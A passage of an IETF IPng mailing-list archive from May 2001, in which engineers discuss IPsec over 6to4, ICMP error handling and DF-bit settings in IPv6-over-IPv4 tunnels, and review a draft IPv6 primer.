for ipng-dist; Fri, 18 May 2001 13:19:46 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4IKJaM07788 for ; Fri, 18 May 2001 13:19:36 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA28278 for ; Fri, 18 May 2001 13:19:30 -0700 (PDT) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-068-077.vz.dsl.gtei.net [4.60.68.77]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA03259 for ; Fri, 18 May 2001 13:19:29 -0700 (PDT) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Fri, 18 May 2001 13:19:23 -0700 Received: from eagleswings [4.60.70.249] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 99AFBFDA0D8B4E39A9C5242F83DB5776 for plus 2 more; Fri, 18 May 2001 13:19:22 -0700 Reply-To: From: "Tony Hain" To: "Richard Draves" , "Dollinger, MatthewX" , "Ipng Posts \(E-mail\)" Subject: RE: IPSec in a v6tov4 environment... Date: Fri, 18 May 2001 13:19:00 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <7695E2F6903F7A41961F8CF888D87EA8024EF669@red-msg-06.redmond.corp.microsoft.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal X-SLUIDL: BAC2DA25-0AE94978-BE2D5E76-86A80B34 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is the third instance of confusion of NAT-PT & 6to4 I have come across in the last two weeks. 6to4 is not a 'translating router'. It simply allocates IPv6 addresses based on its IPv4 address, then encapsulates IPv6 packets in IPv4 for transiting the IPv4 network. Any IPsec should be end-to-end as IPv6 packets, and the 6to4 router should be unaware. Tony -----Original Message----- From: owner-ipng@sunroof.eng.sun.com [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Richard Draves Sent: Thursday, May 17, 2001 10:06 AM To: Dollinger, MatthewX; Ipng Posts (E-mail) Subject: RE: IPSec in a v6tov4 environment... Why not just use end-to-end IPsec over IPv6? I do not see what difficulty 6to4 introduces. Rich > -----Original Message----- > From: Dollinger, MatthewX [mailto:matthewx.dollinger@intel.com] > Sent: Thursday, May 17, 2001 10:00 AM > To: Ipng Posts (E-mail) > Subject: IPSec in a v6tov4 environment... > > > There is a debate going around our lab about whether or > not it is possible to secure a 6to4 network. > > The argument in favor is as follows: > Secure the Ipv4 side with standard IPSec. Have > a secure connection (Still IPv4) with the 6to4 translating router. > Secure the Ipv6 side with Ipv6 Ipsec. Have a > secure (Ipv6) connection to the 6to4 translating router. > The theory is that the 6to4 router will > un-encrypt > the Ipv4 data, and re-encrypt it when sending to the Ipv6 network. > > Another theory is that the Ipv6 IPSec and the Ipv4 > IPSec will be able to establish a security association with > each other, as long as the key (Pre-shared secret) and the > encryption settings are the same. > > I have had a heck of a time finding any detailed information > on this and would greatly appreciate any feedback I can get. > > Thanks! > > "You know, sometimes it is the artist's task to find out how > much music you can still make with what you have left." --- > Itzhak Perlman (Nov. 18, > 1995,) > Matthew Dollinger > IPSec/NQL Lab > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 21 00:27:28 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4L7QOX10381 for ipng-dist; Mon, 21 May 2001 00:26:24 -0700 (PDT) Received: from bebop.france (bebop.France.Sun.COM [129.157.174.15] (may be forged)) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4L7PLM10356; Mon, 21 May 2001 00:25:21 -0700 (PDT) Received: from lillen (lillen [129.157.212.23]) by bebop.france (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id JAA18132; Mon, 21 May 2001 09:25:13 +0200 (MET DST) Date: Mon, 21 May 2001 09:25:03 +0200 (CEST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: (ngtrans) Re: ICMP errors in response to ICMP errors. To: Brian E Carpenter Cc: itojun@iijlab.net, Erik Nordmark , Mohan Parthasarathy , sommerfeld@east.sun.com, ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com, mohanp@eng.sun.com In-Reply-To: "Your message with ID" <3B0556A4.31A48FF4@hursley.ibm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > if you don't turn on DF bit on outer IPv4 header, you can avoid this > > whole translation thing for too big messages, btw. Yes, but as stated in the RFC this implies that the other tunnel endpoint might need to reassemble. I don't know the performance impact (processing as well as memory for the fragments) this will have. Clearly it is better if we can avoid lots of reassembly in routers. > Yes. If you remember, RFC 2529 (6over4) says > However, the IPv4 "do not > fragment" bit MUST NOT be set in the encapsulating IPv4 header. > but we agreed in a subsequent discussion that this should be downgraded > to SHOULD NOT, and RFC 3056 (6to4) has SHOULD NOT. There is a BIG technical difference. RFC 2529 encapsulates in IPv4 MULTICAST packets and path MTU discovery doesn't work for IPv4 multicast. I thought the RFC actually was made to state the reason for this. Sigh. Erik > RFC 2893 doesn't make a general recommendation - maybe it should? > > Brian > -- > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - > Brian E Carpenter > Distinguished Engineer, Internet Standards & Technology, IBM > On assignment for IBM at http://www.iCAIR.org > Board Chairman, Internet Society http://www.isoc.org -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 21 01:29:03 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4L8S1610451 for ipng-dist; Mon, 21 May 2001 01:28:01 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4L8RnM10444; Mon, 21 May 2001 01:27:49 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA00266; Mon, 21 May 2001 01:27:48 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA18208; Mon, 21 May 2001 02:27:46 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 0A5674B10; Mon, 21 May 2001 17:27:41 +0900 (JST) To: Erik Nordmark Cc: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com In-reply-to: Erik.Nordmark's message of Mon, 21 May 2001 09:25:03 +0200. X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: (ngtrans) Re: ICMP errors in response to ICMP errors. From: itojun@iijlab.net Date: Mon, 21 May 2001 17:27:41 +0900 Message-ID: <25680.990433661@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk stripped off some of cc:s. >Yes, but as stated in the RFC this implies that the other tunnel endpoint >might need to reassemble. I don't know the performance impact (processing >as well as memory for the fragments) this will have. Clearly it is better >if we can avoid lots of reassembly in routers. I'm a bit concerned with scenarios like below: - a bad guy transmits fake ICMPv4 too big packet - tunnel router translates it into ICMPv6 without care i'd need to think this through. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 21 07:47:24 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4LEk9o10821 for ipng-dist; Mon, 21 May 2001 07:46:09 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4LEjvM10814 for ; Mon, 21 May 2001 07:45:57 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA01911 for ; Mon, 21 May 2001 07:45:57 -0700 (PDT) Received: from marduk.litech.org (marduk.cs.cornell.edu [128.84.154.54]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA22849 for ; Mon, 21 May 2001 08:46:13 -0600 (MDT) Received: from lutchann (helo=localhost) by marduk.litech.org with local-esmtp (Exim 3.22 #1) id 151qwV-0001MG-00 for ipng@sunroof.eng.sun.com; Mon, 21 May 2001 10:45:55 -0400 Date: Mon, 21 May 2001 10:45:44 -0400 (EDT) From: Nathan Lutchansky To: ipng mailing list Subject: Fwd: I-D ACTION:draft-lutchann-ipv6-intro-00.txt Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 All, I rewrote my IPv6 primer into an I-D, which was posted this morning. I would appreciate comments about it, either on the list or in Seattle in a few weeks. Much of the content hasn't changed from February, but I did add a section on IPsec. Note that I haven't had time to fully integrate all of the comments I received last time I solicited comments, but I still have them all and will take them into account when I revise again in June. Thanks. -Nathan - ---------- Forwarded message ---------- Date: Mon, 21 May 2001 06:59:09 -0400 From: Internet-Drafts@ietf.org To: IETF-Announce: ; Subject: I-D ACTION:draft-lutchann-ipv6-intro-00.txt A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : A Technical Introduction to IPv6 Author(s) : N. Lutchansky Filename : draft-lutchann-ipv6-intro-00.txt Pages : 17 Date : 18-May-01 This document attempts to provide an introduction to each of the new features of the Internet Protocol, version 6 (IPv6), including transitional mechanisms for interoperating in a mixed IPv4/IPv6 environment. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-lutchann-ipv6-intro-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-lutchann-ipv6-intro-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-lutchann-ipv6-intro-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQE7CSoiTviDkW8mhycRAthLAJ9eYs2LQ7AL5wpprb63toMGH9kXkwCgjJQ6 7sPPdc4i9HCVsZlY7dZFQIY= =oi4L -----END PGP SIGNATURE----- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 21 11:24:24 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4LILKp11163 for ipng-dist; Mon, 21 May 2001 11:21:20 -0700 (PDT) Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4LILFM11156 for ; Mon, 21 May 2001 11:21:16 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f4LIHVM25389 for ipng@sunroof.eng.sun.com; Mon, 21 May 2001 11:17:31 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4IH9CM07417; Fri, 18 May 2001 10:09:12 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA13563; Fri, 18 May 2001 10:09:09 -0700 (PDT) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA20855; Fri, 18 May 2001 10:09:00 -0700 (PDT) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id KAA17914; Fri, 18 May 2001 10:08:49 -0700 Received: from hursley.ibm.com ([9.29.3.172]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id KAA21088; Fri, 18 May 2001 10:08:52 -0700 Message-ID: <3B0556A4.31A48FF4@hursley.ibm.com> Date: Fri, 18 May 2001 12:06:44 -0500 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en,fr MIME-Version: 1.0 To: itojun@iijlab.net CC: Erik Nordmark , Mohan Parthasarathy , sommerfeld@east.sun.com, ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com, mohanp@eng.sun.com Subject: Re: (ngtrans) Re: ICMP errors in response to ICMP errors. References: <499.990190864@itojun.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk itojun@iijlab.net wrote: > > >>If there is enough of the packet included to translate the ICMP > >>then it is better to both adjust the path MTU and do the translation. > >>If you only adjust the path MTU it will take another packet drop > >>(with an ICMPv6 packet too big from the tunnel entrypoint) before the > >>IPv6 sender sees the path MTU. If you do both (when the ICMPv4 packet > >>included sufficient headers) then a single packet drop is sufficient > >>to notify the IPv6 sender of the path MTU. > > I guess we are talking about the same behavior with different wording. > > oops, you right. > "translation" - send ICMPv6 as soon as B gets ICMPv4 > normal behavior - learn PMTU, and then send ICMPv6 on next bigger packet > > if you don't turn on DF bit on outer IPv4 header, you can avoid this > whole translation thing for too big messages, btw. Yes. If you remember, RFC 2529 (6over4) says However, the IPv4 "do not fragment" bit MUST NOT be set in the encapsulating IPv4 header. but we agreed in a subsequent discussion that this should be downgraded to SHOULD NOT, and RFC 3056 (6to4) has SHOULD NOT. RFC 2893 doesn't make a general recommendation - maybe it should? Brian -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Brian E Carpenter Distinguished Engineer, Internet Standards & Technology, IBM On assignment for IBM at http://www.iCAIR.org Board Chairman, Internet Society http://www.isoc.org -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 21 11:45:57 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4LIh0Z11230 for ipng-dist; Mon, 21 May 2001 11:43:00 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4LIgpM11223 for ; Mon, 21 May 2001 11:42:51 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA08733 for ; Mon, 21 May 2001 11:42:50 -0700 (PDT) Received: from motgate.mot.com (motgate.mot.com [129.188.136.100]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA01833 for ; Mon, 21 May 2001 12:42:41 -0600 (MDT) Received: [from pobox4.mot.com (pobox4.mot.com [10.64.251.243]) by motgate.mot.com (motgate 2.1) with ESMTP id LAA06719 for ; Mon, 21 May 2001 11:42:41 -0700 (MST)] Received: [from il06exb01.corp.mot.com (il06exb01.corp.mot.com [199.5.78.83]) by pobox4.mot.com (MOT-pobox4 2.0) with ESMTP id LAA25390 for ; Mon, 21 May 2001 11:42:40 -0700 (MST)] Received: by il06exb01.corp.mot.com with Internet Mail Service (5.5.2653.19) id ; Mon, 21 May 2001 13:42:40 -0500 Message-ID: <034D8B328BD3D311BDC0009027E33C1704722665@il06exm22.corp.mot.com> From: Jung Cyndi-ACJ099 To: "'Nathan Lutchansky'" , ipng mailing list Subject: RE: I-D ACTION:draft-lutchann-ipv6-intro-00.txt Date: Mon, 21 May 2001 13:42:35 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Nathan, Here are just a few comments: I find it odd that you begin the IPv6 discussion with multihoming - you really should begin with the addressing, and if you do have a section covering routing then multihoming belongs there. Section 5.5, last pargraph first sentence has a typ-O "IPv6-mapped" addresses that could be misleading to a first-time reader. Section 5.6 - Needs a paragraph on multicast scoping, certainly because it uses them in the ND discussion which is the next section. The ANYCAST discussion is first sane one I've seen. Section 6 - Can you really get all the configuration info required to operate from ND? Can you get the address of a DNS server? Also, I think the use of the "solicited node multicast address" in ND is important enough to be explained here - if left out, a person that understands how ARP works would never get how ND resolves IP->media address. Now that you've added IPSec, you might try adding Mobile IP into this primer. Thanks, Cyndi -----Original Message----- From: Nathan Lutchansky [mailto:lutchann@litech.org] Sent: Monday, May 21, 2001 3:46 PM To: ipng mailing list Subject: Fwd: I-D ACTION:draft-lutchann-ipv6-intro-00.txt -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 All, I rewrote my IPv6 primer into an I-D, which was posted this morning. I would appreciate comments about it, either on the list or in Seattle in a few weeks. Much of the content hasn't changed from February, but I did add a section on IPsec. Note that I haven't had time to fully integrate all of the comments I received last time I solicited comments, but I still have them all and will take them into account when I revise again in June. Thanks. -Nathan - ---------- Forwarded message ---------- Date: Mon, 21 May 2001 06:59:09 -0400 From: Internet-Drafts@ietf.org To: IETF-Announce: ; Subject: I-D ACTION:draft-lutchann-ipv6-intro-00.txt A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : A Technical Introduction to IPv6 Author(s) : N. Lutchansky Filename : draft-lutchann-ipv6-intro-00.txt Pages : 17 Date : 18-May-01 This document attempts to provide an introduction to each of the new features of the Internet Protocol, version 6 (IPv6), including transitional mechanisms for interoperating in a mixed IPv4/IPv6 environment. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-lutchann-ipv6-intro-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-lutchann-ipv6-intro-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-lutchann-ipv6-intro-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQE7CSoiTviDkW8mhycRAthLAJ9eYs2LQ7AL5wpprb63toMGH9kXkwCgjJQ6 7sPPdc4i9HCVsZlY7dZFQIY= =oi4L -----END PGP SIGNATURE----- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 21 13:43:00 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4LKfp411413 for ipng-dist; Mon, 21 May 2001 13:41:51 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4LKfgM11406 for ; Mon, 21 May 2001 13:41:42 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA06785 for ; Mon, 21 May 2001 13:41:41 -0700 (PDT) Received: from raven.ecs.soton.ac.uk (raven.ecs.soton.ac.uk [152.78.70.1]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA08656 for ; Mon, 21 May 2001 13:41:39 -0700 (PDT) Received: from hawk.ecs.soton.ac.uk (hawk.ecs.soton.ac.uk [152.78.68.142]) by raven.ecs.soton.ac.uk (8.9.3/8.9.3) with ESMTP id VAA01585; Mon, 21 May 2001 21:41:34 +0100 (BST) Received: from penelope (penelope.ecs.soton.ac.uk [152.78.68.135]) by hawk.ecs.soton.ac.uk (8.9.3/8.9.3) with ESMTP id VAA19437; Mon, 21 May 2001 21:41:33 +0100 (BST) Date: Mon, 21 May 2001 21:41:34 +0100 (BST) From: Tim Chown To: members@ipv6forum.com cc: ipng@sunroof.eng.sun.com Subject: IPv6 Forum: Ottawa slides all online Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi, The complete set of slides from the Ottawa IPv6 Summit are now all online, as HTML, Powerpoint and PDF documents. Tim -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 21 15:49:30 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4LMlqm11552 for ipng-dist; Mon, 21 May 2001 15:47:52 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4LMlhM11545 for ; Mon, 21 May 2001 15:47:43 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA21865 for ; Mon, 21 May 2001 15:47:43 -0700 (PDT) Received: from tiquini.ece.arizona.edu (tiquini.ece.arizona.edu [128.196.29.23]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA13444 for ; Mon, 21 May 2001 16:47:54 -0600 (MDT) Received: from ece2.ece.arizona.edu (ece2 [128.196.28.165]) by tiquini.ece.arizona.edu (8.11.0.Beta3/8.11.0.Beta3) with ESMTP id f4LMggH25223 for ; Mon, 21 May 2001 15:42:42 -0700 (MST) Received: from localhost (akumar@localhost) by ece2.ece.arizona.edu (8.9.3+Sun/8.9.3) with ESMTP id PAA11985 for ; Mon, 21 May 2001 15:42:42 -0700 (MST) X-Authentication-Warning: ece2.ece.arizona.edu: akumar owned process doing -bs Date: Mon, 21 May 2001 15:42:42 -0700 (MST) From: Amit Kumar To: Subject: Ipv6 global address In-Reply-To: <5B90AD65A9E8934987DB0C8C0762657405266DA2@DF-BOWWOW.platinum.corp.microsoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi, Can anyone help me regarding getting an IPv6 global address from upstream provider. I am trying to set up an IPv6 router. Thanks, Amit -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 21 16:02:04 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4LN0qJ11599 for ipng-dist; Mon, 21 May 2001 16:00:52 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4LN0gM11592 for ; Mon, 21 May 2001 16:00:42 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA20355 for ; Mon, 21 May 2001 16:00:42 -0700 (PDT) Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA05957 for ; Mon, 21 May 2001 16:00:42 -0700 (PDT) Received: from zed.isi.edu (zed.isi.edu [128.9.160.57]) by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f4LN0fZ24057; Mon, 21 May 2001 16:00:41 -0700 (PDT) From: Bill Manning Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.8.6) id f4LN0f703394; Mon, 21 May 2001 16:00:41 -0700 Message-Id: <200105212300.f4LN0f703394@zed.isi.edu> Subject: Re: Ipv6 global address To: akumar@ece.arizona.edu (Amit Kumar) Date: Mon, 21 May 2001 16:00:41 -0700 (PDT) Cc: ipng@sunroof.eng.sun.com In-Reply-To: from "Amit Kumar" at May 21, 2001 03:42:42 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk % % Hi, % Can anyone help me regarding getting an IPv6 global address from % upstream provider. I am trying to set up an IPv6 router. % Thanks, % Amit % be gald to help. You can get IPv6 global space via 6bone or via anyone of about 15 providers that have completed the ARIN registration process. More detail off-list -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 22 04:50:46 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4MB3kb12293 for ipng-dist; Tue, 22 May 2001 04:03:46 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4MB3XM12286 for ; Tue, 22 May 2001 04:03:34 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA23499 for ; Tue, 22 May 2001 04:03:28 -0700 (PDT) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA06116 for ; Tue, 22 May 2001 05:03:26 -0600 (MDT) Received: 